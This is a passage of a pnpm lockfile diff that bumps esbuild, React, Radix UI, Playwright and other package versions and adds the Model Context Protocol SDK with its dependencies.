     optional: true
 
@@ -9834,6 +10172,9 @@ snapshots:
   '@esbuild/android-arm64@0.28.1':
     optional: true
 
+  '@esbuild/android-arm64@0.28.2':
+    optional: true
+
   '@esbuild/android-arm@0.18.20':
     optional: true
 
@@ -9846,6 +10187,9 @@ snapshots:
   '@esbuild/android-arm@0.28.1':
     optional: true
 
+  '@esbuild/android-arm@0.28.2':
+    optional: true
+
   '@esbuild/android-x64@0.18.20':
     optional: true
 
@@ -9858,6 +10202,9 @@ snapshots:
   '@esbuild/android-x64@0.28.1':
     optional: true
 
+  '@esbuild/android-x64@0.28.2':
+    optional: true
+
   '@esbuild/darwin-arm64@0.18.20':
     optional: true
 
@@ -9870,6 +10217,9 @@ snapshots:
   '@esbuild/darwin-arm64@0.28.1':
     optional: true
 
+  '@esbuild/darwin-arm64@0.28.2':
+    optional: true
+
   '@esbuild/darwin-x64@0.18.20':
     optional: true
 
@@ -9882,6 +10232,9 @@ snapshots:
   '@esbuild/darwin-x64@0.28.1':
     optional: true
 
+  '@esbuild/darwin-x64@0.28.2':
+    optional: true
+
   '@esbuild/freebsd-arm64@0.18.20':
     optional: true
 
@@ -9894,6 +10247,9 @@ snapshots:
   '@esbuild/freebsd-arm64@0.28.1':
     optional: true
 
+  '@esbuild/freebsd-arm64@0.28.2':
+    optional: true
+
   '@esbuild/freebsd-x64@0.18.20':
     optional: true
 
@@ -9906,6 +10262,9 @@ snapshots:
   '@esbuild/freebsd-x64@0.28.1':
     optional: true
 
+  '@esbuild/freebsd-x64@0.28.2':
+    optional: true
+
   '@esbuild/linux-arm64@0.18.20':
     optional: true
 
@@ -9918,6 +10277,9 @@ snapshots:
   '@esbuild/linux-arm64@0.28.1':
     optional: true
 
+  '@esbuild/linux-arm64@0.28.2':
+    optional: true
+
   '@esbuild/linux-arm@0.18.20':
     optional: true
 
@@ -9930,6 +10292,9 @@ snapshots:
   '@esbuild/linux-arm@0.28.1':
     optional: true
 
+  '@esbuild/linux-arm@0.28.2':
+    optional: true
+
   '@esbuild/linux-ia32@0.18.20':
     optional: true
 
@@ -9942,6 +10307,9 @@ snapshots:
   '@esbuild/linux-ia32@0.28.1':
     optional: true
 
+  '@esbuild/linux-ia32@0.28.2':
+    optional: true
+
   '@esbuild/linux-loong64@0.18.20':
     optional: true
 
@@ -9954,6 +10322,9 @@ snapshots:
   '@esbuild/linux-loong64@0.28.1':
     optional: true
 
+  '@esbuild/linux-loong64@0.28.2':
+    optional: true
+
   '@esbuild/linux-mips64el@0.18.20':
     optional: true
 
@@ -9966,6 +10337,9 @@ snapshots:
   '@esbuild/linux-mips64el@0.28.1':
     optional: true
 
+  '@esbuild/linux-mips64el@0.28.2':
+    optional: true
+
   '@esbuild/linux-ppc64@0.18.20':
     optional: true
 
@@ -9978,6 +10352,9 @@ snapshots:
   '@esbuild/linux-ppc64@0.28.1':
     optional: true
 
+  '@esbuild/linux-ppc64@0.28.2':
+    optional: true
+
   '@esbuild/linux-riscv64@0.18.20':
     optional: true
 
@@ -9990,6 +10367,9 @@ snapshots:
   '@esbuild/linux-riscv64@0.28.1':
     optional: true
 
+  '@esbuild/linux-riscv64@0.28.2':
+    optional: true
+
   '@esbuild/linux-s390x@0.18.20':
     optional: true
 
@@ -10002,6 +10382,9 @@ snapshots:
   '@esbuild/linux-s390x@0.28.1':
     optional: true
 
+  '@esbuild/linux-s390x@0.28.2':
+    optional: true
+
   '@esbuild/linux-x64@0.18.20':
     optional: true
 
@@ -10014,6 +10397,9 @@ snapshots:
   '@esbuild/linux-x64@0.28.1':
     optional: true
 
+  '@esbuild/linux-x64@0.28.2':
+    optional: true
+
   '@esbuild/netbsd-arm64@0.25.12':
     optional: true
 
@@ -10023,6 +10409,9 @@ snapshots:
   '@esbuild/netbsd-arm64@0.28.1':
     optional: true
 
+  '@esbuild/netbsd-arm64@0.28.2':
+    optional: true
+
   '@esbuild/netbsd-x64@0.18.20':
     optional: true
 
@@ -10035,6 +10424,9 @@ snapshots:
   '@esbuild/netbsd-x64@0.28.1':
     optional: true
 
+  '@esbuild/netbsd-x64@0.28.2':
+    optional: true
+
   '@esbuild/openbsd-arm64@0.25.12':
     optional: true
 
@@ -10044,6 +10436,9 @@ snapshots:
   '@esbuild/openbsd-arm64@0.28.1':
     optional: true
 
+  '@esbuild/openbsd-arm64@0.28.2':
+    optional: true
+
   '@esbuild/openbsd-x64@0.18.20':
     optional: true
 
@@ -10056,6 +10451,9 @@ snapshots:
   '@esbuild/openbsd-x64@0.28.1':
     optional: true
 
+  '@esbuild/openbsd-x64@0.28.2':
+    optional: true
+
   '@esbuild/openharmony-arm64@0.25.12':
     optional: true
 
@@ -10065,6 +10463,9 @@ snapshots:
   '@esbuild/openharmony-arm64@0.28.1':
     optional: true
 
+  '@esbuild/openharmony-arm64@0.28.2':
+    optional: true
+
   '@esbuild/sunos-x64@0.18.20':
     optional: true
 
@@ -10077,6 +10478,9 @@ snapshots:
   '@esbuild/sunos-x64@0.28.1':
     optional: true
 
+  '@esbuild/sunos-x64@0.28.2':
+    optional: true
+
   '@esbuild/win32-arm64@0.18.20':
     optional: true
 
@@ -10089,6 +10493,9 @@ snapshots:
   '@esbuild/win32-arm64@0.28.1':
     optional: true
 
+  '@esbuild/win32-arm64@0.28.2':
+    optional: true
+
   '@esbuild/win32-ia32@0.18.20':
     optional: true
 
@@ -10101,6 +10508,9 @@ snapshots:
   '@esbuild/win32-ia32@0.28.1':
     optional: true
 
+  '@esbuild/win32-ia32@0.28.2':
+    optional: true
+
   '@esbuild/win32-x64@0.18.20':
     optional: true
 
@@ -10113,9 +10523,12 @@ snapshots:
   '@esbuild/win32-x64@0.28.1':
     optional: true
 
-  '@exodus/bytes@1.15.0(@noble/hashes@2.2.0)':
+  '@esbuild/win32-x64@0.28.2':
+    optional: true
+
+  '@exodus/bytes@1.15.1(@noble/hashes@2.3.0)':
     optionalDependencies:
-      '@noble/hashes': 2.2.0
+      '@noble/hashes': 2.3.0
 
   '@fastify/busboy@2.1.1': {}
 
@@ -10128,18 +10541,18 @@ snapshots:
       '@floating-ui/core': 1.8.0
       '@floating-ui/utils': 0.2.12
 
-  '@floating-ui/react-dom@2.1.9(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@floating-ui/react-dom@2.1.9(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
       '@floating-ui/dom': 1.8.0
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
 
-  '@floating-ui/react@0.27.19(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@floating-ui/react@0.27.19(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@floating-ui/react-dom': 2.1.9(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
+      '@floating-ui/react-dom': 2.1.9(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
       '@floating-ui/utils': 0.2.12
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
       tabbable: 6.4.0
 
   '@floating-ui/utils@0.2.12': {}
@@ -10274,11 +10687,11 @@ snapshots:
       wrap-ansi: 8.1.0
       wrap-ansi-cjs: wrap-ansi@7.0.0
 
-  '@joshwooding/vite-plugin-react-docgen-typescript@0.7.0(typescript@5.9.3)(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))':
+  '@joshwooding/vite-plugin-react-docgen-typescript@0.7.0(typescript@5.9.3)(vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))':
     dependencies:
       glob: 13.0.6
       react-docgen-typescript: 2.4.0(typescript@5.9.3)
-      vite: 6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1)
+      vite: 6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12)
     optionalDependencies:
       typescript: 5.9.3
 
@@ -10332,7 +10745,7 @@ snapshots:
     optionalDependencies:
       typescript: 5.9.3
 
-  '@lexical/devtools-core@0.49.0(react-dom@19.2.7(react@19.2.7))(react@19.2.7)(typescript@5.9.3)':
+  '@lexical/devtools-core@0.49.0(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(typescript@5.9.3)':
     dependencies:
       '@lexical/html': 0.49.0(typescript@5.9.3)
       '@lexical/link': 0.49.0(typescript@5.9.3)
@@ -10340,8 +10753,8 @@ snapshots:
       '@lexical/table': 0.49.0(typescript@5.9.3)
       '@lexical/utils': 0.49.0(typescript@5.9.3)
       lexical: 0.49.0(typescript@5.9.3)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
       typescript: 5.9.3
 
@@ -10449,11 +10862,11 @@ snapshots:
     optionalDependencies:
       typescript: 5.9.3
 
-  '@lexical/react@0.49.0(react-dom@19.2.7(react@19.2.7))(react@19.2.7)(typescript@5.9.3)(yjs@13.6.29)':
+  '@lexical/react@0.49.0(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(typescript@5.9.3)(yjs@13.6.29)':
     dependencies:
-      '@floating-ui/react': 0.27.19(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
+      '@floating-ui/react': 0.27.19(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
       '@lexical/a11y': 0.49.0(typescript@5.9.3)
-      '@lexical/devtools-core': 0.49.0(react-dom@19.2.7(react@19.2.7))(react@19.2.7)(typescript@5.9.3)
+      '@lexical/devtools-core': 0.49.0(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(typescript@5.9.3)
       '@lexical/dragon': 0.49.0(typescript@5.9.3)
       '@lexical/extension': 0.49.0(typescript@5.9.3)
       '@lexical/hashtag': 0.49.0(typescript@5.9.3)
@@ -10471,8 +10884,8 @@ snapshots:
       '@lexical/utils': 0.49.0(typescript@5.9.3)
       '@lexical/yjs': 0.49.0(typescript@5.9.3)(yjs@13.6.29)
       lexical: 0.49.0(typescript@5.9.3)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
       typescript: 5.9.3
       yjs: 13.6.29
@@ -10628,13 +11041,13 @@ snapshots:
 
   '@marijn/find-cluster-break@1.0.3': {}
 
-  '@mdx-js/react@3.1.1(@types/react@19.2.17)(react@19.2.7)':
+  '@mdx-js/react@3.1.1(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
       '@types/mdx': 2.0.14
-      '@types/react': 19.2.17
-      react: 19.2.7
+      '@types/react': 19.2.18
+      react: 19.2.8
 
-  '@mdxeditor/editor@3.55.0(@codemirror/language@6.12.4)(@lezer/highlight@1.2.3)(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)(typescript@5.9.3)(yjs@13.6.29)':
+  '@mdxeditor/editor@3.55.0(@codemirror/language@6.12.4)(@lezer/highlight@1.2.3)(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(typescript@5.9.3)(yjs@13.6.29)':
     dependencies:
       '@codemirror/commands': 6.10.3
       '@codemirror/lang-markdown': 6.5.0
@@ -10642,30 +11055,30 @@ snapshots:
       '@codemirror/merge': 6.12.2
       '@codemirror/state': 6.7.1
       '@codemirror/view': 6.43.8
-      '@codesandbox/sandpack-react': 2.20.0(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
+      '@codesandbox/sandpack-react': 2.20.0(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
       '@lexical/clipboard': 0.49.0(typescript@5.9.3)
       '@lexical/link': 0.49.0(typescript@5.9.3)
       '@lexical/list': 0.49.0(typescript@5.9.3)
       '@lexical/markdown': 0.49.0(typescript@5.9.3)
       '@lexical/plain-text': 0.49.0(typescript@5.9.3)
-      '@lexical/react': 0.49.0(react-dom@19.2.7(react@19.2.7))(react@19.2.7)(typescript@5.9.3)(yjs@13.6.29)
+      '@lexical/react': 0.49.0(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(typescript@5.9.3)(yjs@13.6.29)
       '@lexical/rich-text': 0.49.0(typescript@5.9.3)
       '@lexical/selection': 0.49.0(typescript@5.9.3)
       '@lexical/utils': 0.49.0(typescript@5.9.3)
-      '@mdxeditor/gurx': 1.2.4(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
+      '@mdxeditor/gurx': 1.2.4(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
       '@radix-ui/colors': 3.0.0
-      '@radix-ui/react-dialog': 1.1.17(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-icons': 1.3.2(react@19.2.7)
-      '@radix-ui/react-popover': 1.1.17(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-popper': 1.3.1(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-select': 2.3.1(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-toggle-group': 1.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-toolbar': 1.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-tooltip': 1.2.10(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
+      '@radix-ui/react-dialog': 1.1.17(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-icons': 1.3.2(react@19.2.8)
+      '@radix-ui/react-popover': 1.1.17(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-popper': 1.3.1(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-select': 2.3.1(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-toggle-group': 1.1.13(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-toolbar': 1.1.13(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-tooltip': 1.2.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
       classnames: 2.5.1
       cm6-theme-basic-light: 0.2.0(@codemirror/language@6.12.4)(@codemirror/state@6.7.1)(@codemirror/view@6.43.8)(@lezer/highlight@1.2.3)
       codemirror: 6.0.2
-      downshift: 7.6.2(react@19.2.7)
+      downshift: 7.6.2(react@19.2.8)
       js-yaml: 4.1.1
       lexical: 0.49.0(typescript@5.9.3)
       mdast-util-directive: 3.1.0
@@ -10690,9 +11103,9 @@ snapshots:
       micromark-factory-space: 2.0.1
       micromark-util-character: 2.1.1
       micromark-util-symbol: 2.0.1
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
-      react-hook-form: 7.79.0(react@19.2.7)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
+      react-hook-form: 7.79.0(react@19.2.8)
       unidiff: 1.0.4
     transitivePeerDependencies:
       - '@codemirror/language'
@@ -10703,10 +11116,10 @@ snapshots:
       - typescript
       - yjs
 
-  '@mdxeditor/gurx@1.2.4(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@mdxeditor/gurx@1.2.4(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
 
   '@mermaid-js/parser@1.2.0':
     dependencies:
@@ -10734,6 +11147,28 @@ snapshots:
     transitivePeerDependencies:
       - supports-color
 
+  '@modelcontextprotocol/sdk@1.30.0(zod@4.4.3)':
+    dependencies:
+      '@hono/node-server': 2.1.0(hono@4.13.2)
+      ajv: 8.20.0
+      ajv-formats: 3.0.1(ajv@8.20.0)
+      content-type: 1.0.5
+      cors: 2.8.6
+      cross-spawn: 7.0.6
+      eventsource: 3.0.7
+      eventsource-parser: 3.1.1
+      express: 5.2.1
+      express-rate-limit: 8.6.2(express@5.2.1)
+      hono: 4.13.2
+      jose: 6.2.8
+      json-schema-typed: 8.0.2
+      pkce-challenge: 5.0.1
+      raw-body: 3.0.2
+      zod: 4.4.3
+      zod-to-json-schema: 3.25.2(zod@4.4.3)
+    transitivePeerDependencies:
+      - supports-color
+
   '@napi-rs/lzma-linux-x64-gnu@1.5.1':
     optional: true
 
@@ -10751,11 +11186,11 @@ snapshots:
       '@tybys/wasm-util': 0.10.3
     optional: true
 
-  '@noble/ciphers@2.2.0': {}
+  '@noble/ciphers@2.3.0': {}
 
   '@noble/hashes@1.8.0': {}
 
-  '@noble/hashes@2.2.0': {}
+  '@noble/hashes@2.3.0': {}
 
   '@npmcli/fs@1.1.1':
     dependencies:
@@ -10771,31 +11206,31 @@ snapshots:
 
   '@open-draft/deferred-promise@2.2.0': {}
 
-  '@openai/codex@0.145.0':
+  '@openai/codex@0.147.0':
     optionalDependencies:
-      '@openai/codex-darwin-arm64': '@openai/codex@0.145.0-darwin-arm64'
-      '@openai/codex-darwin-x64': '@openai/codex@0.145.0-darwin-x64'
-      '@openai/codex-linux-arm64': '@openai/codex@0.145.0-linux-arm64'
-      '@openai/codex-linux-x64': '@openai/codex@0.145.0-linux-x64'
-      '@openai/codex-win32-arm64': '@openai/codex@0.145.0-win32-arm64'
-      '@openai/codex-win32-x64': '@openai/codex@0.145.0-win32-x64'
+      '@openai/codex-darwin-arm64': '@openai/codex@0.147.0-darwin-arm64'
+      '@openai/codex-darwin-x64': '@openai/codex@0.147.0-darwin-x64'
+      '@openai/codex-linux-arm64': '@openai/codex@0.147.0-linux-arm64'
+      '@openai/codex-linux-x64': '@openai/codex@0.147.0-linux-x64'
+      '@openai/codex-win32-arm64': '@openai/codex@0.147.0-win32-arm64'
+      '@openai/codex-win32-x64': '@openai/codex@0.147.0-win32-x64'
 
-  '@openai/codex@0.145.0-darwin-arm64':
+  '@openai/codex@0.147.0-darwin-arm64':
     optional: true
 
-  '@openai/codex@0.145.0-darwin-x64':
+  '@openai/codex@0.147.0-darwin-x64':
     optional: true
 
-  '@openai/codex@0.145.0-linux-arm64':
+  '@openai/codex@0.147.0-linux-arm64':
     optional: true
 
-  '@openai/codex@0.145.0-linux-x64':
+  '@openai/codex@0.147.0-linux-x64':
     optional: true
 
-  '@openai/codex@0.145.0-win32-arm64':
+  '@openai/codex@0.147.0-win32-arm64':
     optional: true
 
-  '@openai/codex@0.145.0-win32-x64':
+  '@openai/codex@0.147.0-win32-x64':
     optional: true
 
   '@opentelemetry/api@1.9.1': {}
@@ -10933,28 +11368,28 @@ snapshots:
     dependencies:
       '@noble/hashes': 1.8.0
 
-  '@pierre/diffs@1.2.11(@shikijs/themes@4.3.0)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@pierre/diffs@1.2.11(@shikijs/themes@4.3.0)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
       '@pierre/theme': 1.0.3
-      '@pierre/theming': 0.0.1(@pierre/theme@1.0.3)(@shikijs/themes@4.3.0)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)(shiki@4.3.0)
+      '@pierre/theming': 0.0.1(@pierre/theme@1.0.3)(@shikijs/themes@4.3.0)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(shiki@4.3.0)
       '@shikijs/transformers': 4.3.0
       diff: 8.0.3
       hast-util-to-html: 9.0.5
       lru_map: 0.4.1
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
       shiki: 4.3.0
     transitivePeerDependencies:
       - '@shikijs/themes'
 
   '@pierre/theme@1.0.3': {}
 
-  '@pierre/theming@0.0.1(@pierre/theme@1.0.3)(@shikijs/themes@4.3.0)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)(shiki@4.3.0)':
+  '@pierre/theming@0.0.1(@pierre/theme@1.0.3)(@shikijs/themes@4.3.0)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(shiki@4.3.0)':
     optionalDependencies:
       '@pierre/theme': 1.0.3
       '@shikijs/themes': 4.3.0
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
       shiki: 4.3.0
 
   '@pinojs/redact@0.4.0': {}
@@ -10962,9 +11397,9 @@ snapshots:
   '@pkgjs/parseargs@0.11.0':
     optional: true
 
-  '@playwright/test@1.61.1':
+  '@playwright/test@1.62.1':
     dependencies:
-      playwright: 1.61.1
+      playwright: 1.62.1
 
   '@preact/signals-core@1.14.4': {}
 
@@ -10972,1216 +11407,1269 @@ snapshots:
 
   '@radix-ui/number@1.1.2': {}
 
+  '@radix-ui/number@1.1.3': {}
+
   '@radix-ui/primitive@1.1.3': {}
 
   '@radix-ui/primitive@1.1.4': {}
 
-  '@radix-ui/primitive@1.1.6': {}
+  '@radix-ui/primitive@1.1.7': {}
 
-  '@radix-ui/react-accessible-icon@1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-accessible-icon@1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-visually-hidden': 1.2.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-visually-hidden': 1.2.11(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-accordion@1.2.17(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-accordion@1.2.20(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-collapsible': 1.1.17(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-collection': 1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-direction': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-id': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.4(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-collapsible': 1.1.20(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-collection': 1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-direction': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-id': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-alert-dialog@1.1.20(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-alert-dialog@1.1.23(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-dialog': 1.1.20(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-dialog': 1.1.23(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-arrow@1.1.10(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-arrow@1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-arrow@1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-arrow@1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
